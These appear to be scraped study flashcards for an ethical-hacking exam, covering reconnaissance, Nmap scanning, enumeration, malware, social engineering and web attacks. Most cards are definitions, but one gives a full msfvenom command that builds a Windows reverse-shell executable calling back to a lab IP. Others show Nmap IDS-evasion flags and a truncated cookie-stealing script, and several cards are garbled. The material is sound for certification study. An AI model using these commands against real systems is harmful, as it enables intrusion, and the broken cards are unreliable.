Fast Track Flashcards
Reconnaissance
Cyber Kill Chain stage that precedes the Weaponization stage.
Weaponization
Stage of the Cyber kill chain where you select or create a client side back door to send to users’ collected email addresses
Delivery
Third step of the Cyber Kill Chain stage where attacker sends weaponized bundle to the victim using email, USB, etc.
Actions on objectives
Cyber kill chain stage where data exfiltration occurs
Unspecified proxy activities
Multiple domains pointing to the same host to switch quickly between the domains and avoid detection
White hat
Would notify the system owner and the software vendor if they found a zero-day vulnerability.
Gray Hats
Gray hats are the individuals who work both offensively and defensively at various times.
Reconnaissance
Reconnaissance refers to the preparatory phase in which an attacker gathers as much information as possible about the target prior to launching the attack. In this phase, the attacker draws on competitive intelligence to learn more about the target. It could be the future point of return, noted for ease of entry foran attack when more about the target is known on a broad scale. The reconnaissance target range may include the target organization’s clients, employees, operations, network, and systems.
Clearing Tracks
The attacker overwrites the server, system, and application logs to avoid suspicion
Determine the impact of the change
The first consideration when implementing a change is to determine the impact of the change
Operational Threat Intelligence
Operational threat intelligence provides information about specific threats against the organization. It provides contextual information about security events and incidents that help defenders disclose potential risks, provide greater insight into attacker methodologies, identify past malicious activities, and perform investigations on malicious activity in a more efficient way.
Technical Threat Intelligence
This intelligence is directly fed into the security devices in digital format to block and identify inbound and outbound malicious traffic entering the organization’s network.
Incident triage
Phase where type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited are analyzed
PCI-DSS
The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information security standard for organizations that handle cardholder information for major debit, credit, prepaid, e-purse, ATM, and POS cards
HIPAA
Regulations that protect personal medical records (PHI)
PHI
Personal Health Information (personal medical records)
SOX
Sarbanes-Oxley Act is designed to protect investors and the public by increasing the accuracy and reliability of corporate accounting disclosures
[site:]
site: This operator restricts search results to the specified site or domain.
[related:]
related: This operator displays websites that are similar or related to the URL specified.
[Filetype:]
Filetype: This operator allows you to search for results based on a file extension.
Reverse Image Search
Reverse image search helps an attacker in tracking the original source and details of images, such as photographs, profile pictures, and memes
Censys
Attackers use loT search engines, such as Censys, to gather information about the target loT devices, such as manufacturer details, geographical location, IP address, hostname, and open ports. Censys continually monitors every reachable server and device on the Internet, so one can search for and analyze them in real time.
Dark web footprinting
Uses specialized tools or search engines to encrypt browsing activity and navigate anonymously
Hootsuite
an automated geolocation tool
Website mirroring
Copying an entire website to a local drive to view the directory structure, file structure, external links, etc.
CeWL
An attacker uses the CeWL tool to gather a list of words from the target website and perform a brute-force attack on the email addresses gathered earlier.
Web-Stat
a tool to monitor websites, analyze the website’s traffic, and track the geographical location of the users visiting the website.
Infoga
a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources.
Whois footprinting
Gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date
RIPE NCC
Regional Internet Registry for Europe
Bluto
An automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records.
ARIN
An online tool to retrieve information such as the network range of the target organization
Impersonation
Impersonation is a technique whereby an attacker pretends to be a legitimate or authorized person. Attackers perform impersonation attacks personally or use phones or other communication media to mislead targets and trick them into revealing information.
OSINT framework
OSINT Framework is an open source intelligence gathering framework that helps security professionals in performing automated footprinting and reconnaissance activities.
ACK flag probe scan
Discovers devices hidden by a restrictive firewall
-PP
Nmap / Zenmap ICMP Timestamp Ping Scan # nmap ‚-PP <target></target>
-PS
Nmap / Zenmap SYN Ping Scan # nmap ‚-PS <target></target>
nmap ‚-sn -PS < target IP address >
TCP SYN ping scan
TCP Maimon scan
Sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed
Stateful firewall
Does not respond with RST to ACK packet sent to a closed port
-sA
Nmap Ack flag probe scanning Attackers send an ACK probe packet with a random sequence number, and no response implies that the port is filtered (stateful firewall is present), whereas an RST response means that the port is not filtered
-sV
In Nmap, the -sV option is used to detect type and service versions.
Idle scanning
Uses a zombie system with low network activity and ip identification numbers
Banner grabbing
Using the -sV flag with Nmap
128
Windows OS TTL
-D
Nmap / Zenmap IP Address Decoy scan The IP address decoy technique refers to generating or manually specifying IP addresses of the decoys to evade IDS/firewalls. #nmap -D RND:10 [target]
-T0
Nmap / Zenmap Paranoid Timing Option The paranoid timing option makes the least noise which helps evade IDS #nmap —TO [target]
Linux OS
Uses TTL of 64 and Window size of 5840
Scanning networks
Assists in Drawing Network Diagrams Drawing a network diagram helps an attacker to identify the topology or architecture of a target network.
SMB
Runs on ports 139 and 445 TCP
389
Unsecured LDAP port, should change it to 636 - LDAPS
SNMP
Uses port UDP 161. If you find unencrypted SNMP traffic on your network, change to SNMP V3
< 03>
NetBIOS code for the messenger service
LNMIB2.MIB
Contains object types for workstation and server services
Jxplorer
Tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, and departmental details.
SMTP Enumeration
SMTP provides 3 built-in-commands: VRFY - Validates users EXPN - Shows the actual delivery addresses of aliases and mailing lists RCPT TO - Defines the recipients of a message
DNS Cache Snooping
DNS cache snooping is a type of DNS enumeration technique in which an attacker queries the DNS server for a specific cached DNS record. By using this cached record, the attacker can determine the sites recently visited by the user.
FTP Enumeration
The File Transfer Protocol (FTP) is used to transfer files over TCP, and its default port is 21.
NTLM
Can be used to secure an LDAP service against anonymous queries
LDAP Enumeration Countermeasures
By default, LDAP traffic is transmitted unsecured (port 389); therefore, use Secure Sockets Layer (SSL) or STARTTLS technology to encrypt the traffic (port 636).
False positives
Vulnerabilities found in a tool-based vulnerability assessment that are not true vulnerabiities
Medium
(CVSS) v3.0 severity ratings range 4.0-6.9
4.0-6.9
(CVSS) v3.1 medium severity ratings range
Remediation
Process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities
Vulnerability-management life cycle
The phases involved in vulnerability management are: 1. Identify assets and create a baseline 2. Vulnerability scan 3. Risk assessment 4. Remediation 5. Verification 6. Monitor
Passive Assessment
Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.
External Assessment
External assessment examines the network from a hacker’s point of view to identify exploits and vulnerabilities accessible to the outside world. These types of assessments use external devices such as firewalls, routers, and servers.
Host-based Assessment
Host-based scanners assess systems to identify vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.
Network-based scanner
Scans other machines on the network to identify vulnerabilities.
Wireless Network Assessment
Wireless network assessment determines the vulnerabilities in an organization’s wireless networks. Many networks still use weak and outdated security mechanisms and are open to attack.
Host-based assessment
Can identify vulnerabilities in user directories, registries, native configuration tables, incorrect registry or file permissions, and software configuration errors.
Inference-based assessment
After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.
Steps followed by Vulnerability Scanners
- Locating nodes 2. Performing service and OS discovery on them 3. Testing those services and OS for known vulnerabilities
Gaining access
May involve infecting a system with malware and using phishing to gain credentials to a system or web application
Dictionary Attack
In this type of attack, a dictionary file is loaded into a cracking application that runs against user accounts. This dictionary is a text file that contains several dictionary words commonly used as passwords. The program uses every word present in the dictionary to find the password.
Internal monologue attack
Steps to perform an internal monologue attack: 1. The attacker disables the security controls of NetNTLMv1 by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLM Traffic. 2. The attacker extracts all the non-network logon tokens from all the active processes to masquerade as legitimate users.
Some password-cracking tools are listed as follows:
John the Ripper hashcat THC-Hydra Medusa
Password salting
Extra data is added to a password before hashing to defeat Rainbow tables
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=10.10.10.13 LPORT=4444 -f exe > shell.exe generates reverse TCP shellcode for Windows
Buffer overflow
char buff[12];
MITRE.org CVE
MITRE maintains a CVE database that contains details of the latest vulnerabilities. Attackers can search MITRE CVE to discover vulnerabilities that exist in the target system.
Getsystem
Use Metasploit commands such as getsystem to gain administrative-level privileges and extract password hashes of the admin/user accounts.
Kernel-Level Rootkit
The kernel is the core of an OS. A kernel-level rootkit runs in Ring-O with the highest OS privileges. These cover backdoors on the computer and are created by writing additional code, or by substituting portions of kernel code with modified code via device drivers in Windows or loadable kernel modules in Linux.
.bash_history
Maintains a log of typed input
DNS tunneling
Embedding malicious data into the DNS protocol packets that even DNSSEC cannot detect
UNIX / Linux
Files in UNIX / Linux can be hidden just by appending a dot (.) in front of a file name
Adware
Causes annoying pop-ups with advertisements
Advanced persistent threat
remains without being detected for a long time and obtains sensitive information without sabotaging the organization.
Initial intrusion
Initial Intrusion phase of APT lifecycle includes: 1. Deployment of malware 2. Establishment of outbound connection
Initial intrusion
Attacker attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers
DDoS Trojans
Mirai loT botnet Trojan is still considered as one of the most notorious DDoS attack Trojans
Stealth virus
A stealth virus hides from antivirus software by hiding the original size of the file or temporarily placing a copy of itself in some other system drive, thus replacing the infected file with the uninfected file that is stored on the hard drive.
Encryption virus
can cipher itself and change its own code
Computer Worms
Computer worms are standalone malicious programs that replicate, execute, and spread across network connections independently without human intervention.
File-less malware
AV tools are unable to find
Launching Fileless Malware through Phishing
Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the target systems. They send spam emails embedded with malicious links to the victim. When the victim clicks on the link, he/she will be directed to a fraudulent website that automatically loads Flash and triggers the exploit.
VirusTotal
A free service that analyzes suspicious files
Credential Enumerator
It is a self-extracting RAR file containing two components. One is the bypass component, and the other is the service component. The bypass component is used for the enumeration of network resources and it either finds writable share drives using the Server Message Block (SMB) or tries to brute-force user accounts, including the administrator account.
BetterCAP
A tool to send fake ARP messages over the target network to link a MAC address with the target system’s IP address
MAC flooding
MAC flooding involves the flooding of the CAM table with fake MAC address and IP pairs until it is full
DHCP starvation
Attack that leases all the DHCP addresses available in the DHCP scope.
STP attack
Attacker plugs in a rogue switch with a lower priority than any other switch to make it a root bridge
The attacker makes a request to the DNS resolver
first step in conducting a DNS cache poisoning
Phishing
The attacker preteds to be technical support staff of the targeted organization’s software vendors or contractors
Honey trap
Attackers target a person inside the company online, pretending to be an attractive person. They then begin a fake online relationship to obtain confidential information about the target company
Impersonation
The attacker may impersonate a technician and gather sensitive information by scanning terminals for passwords, searching for important documents on employees’ desks, rummaging through bins.
Scareware
Scareware is often seen in pop-ups that tell the target user that their machine has been infected with malware. Further, these pop-up ads always have a sense of urgency and tell the victim to quickly download the software if they want to get rid of the supposed virus.
Phishing
Redirects to malicious websites by sending a malicious link which appears to be real by email.
Pharming
The attacker redirects web traffic to a fraudulent website by installing a malicious program on a personal computer or server Can be performed in two ways: DNS Cache Poisoning and Host File Modification
Evilginx
Phishing tool a>
Whaling
A whaling attack is a type of phishing that targets high profile executives like CEO, CFO, politicians, and celebrities who have complete access to confidential and highly valuable information.
Spoofed Session Flood Attack
In this type of attack, attackers create fake or spoofed TCP sessions by carrying multiple SYN, ACK, and RST or FIN packets to perform DDOS attacks against target networks, exhausting their network resources.
Slowloris attack
A DDoS attack. Partial HTTP requests are sent to open multiple connections and slow down the application.
Hit-list scanning technique
Collects information about a large number of vulnerable machines to create a list, then infects the machines to create a botnet
DoS/DDoS Countermeasure
Implement cognitive radios in the physical layer to handle jamming and scrambling attacks
Grabs the user’s session cookie and session ID
document.write(‘<img></img>);
Session donation attack
Attacker obtains a valid session ID and feeds the same session ID to the victim. The session ID links the victim to attacker’s account page. Victim’s sensitive payment details entered in a form are linked to attacker’s account.
TCP/IP hijacking
Monitoring established traffic between the victim and host to predict ISN, using the ISN to spoof packets sent to the host, hanging the victims connection, and impersonating the victim to communicate with the host.
Burp Suite
Burp Suite contains the following key components: An intercepting proxy, which allows the user to inspect and modify traffic between their browser and the target application An intruder tool for performing powerful customized attacks to find and exploit unusual vulnerabilities A sequencer tool for testing the randomness of session tokens
FTPS
Sends data using encryption and digital certificates
VPN
A VPN creates a safe and encrypted tunnel over a public network to securely send and receive sensitive information.
False positive
IDS raises an alarm when no attack has taken place
DMZ
DMZ should always be used when the company has publicly available servers
Web Server
Webserver should be internet facing, but application and database servers should not.
Honeypot
an appealing isolated environment for hackers
Obfuscating
Encoding packets with Unicode characters. IDS cannot recognize the packets, but web server can decode them.
Some online anonymizers include:
https://proxify.com http://www.guardster.com http://anonymouse.org
NSTX
Runs on port 53 a>
Detecting the presence of Honeyd Honeypot
An attacker can identify the presence of honeyd honeypot by performing time-based TCP fingerprinting methods (SYN proxy behavior).
AndroidManifest.xml
The file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application
DNS hijacking
When the user enters a legitimate URL in a browser, the settings will redirect to the attacker’s fake site. User may be prompted to re-enter credentials as if they have never visited the site before, and the site may not be secure.
Directory traversal
dot dot slash (../) character string in a url to navigate to a parent directory on a web server
php.ini
can be misconfigured to provide verbose error messages
Server-side request forgery (SSRF) attack
a designer can utilize a URL such as https://xyz.com/feed.php ?url=externalsite.com/feed/t o to obtain a remote feed
Robots.txt
a file to discover the structure of a website
Web Server Footprinting
By performing web server footprinting, an attacker can gather valuable system-level data such as account details, OS’s, software versions, server names, and database schema details
Patch management
Failure would be not applying fixes in a timely fashion. Example: Company is breached several months after a fix is available from the vendor
Limiting the administrator or root-level access to the
minimum number of users Helps secure the user accounts on the web server
Syhunt Hybrid
Syhunt Hybrid crawls websites and detects XSS, directory traversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks.
Web application security scanners:
Netsparker Burp Suite
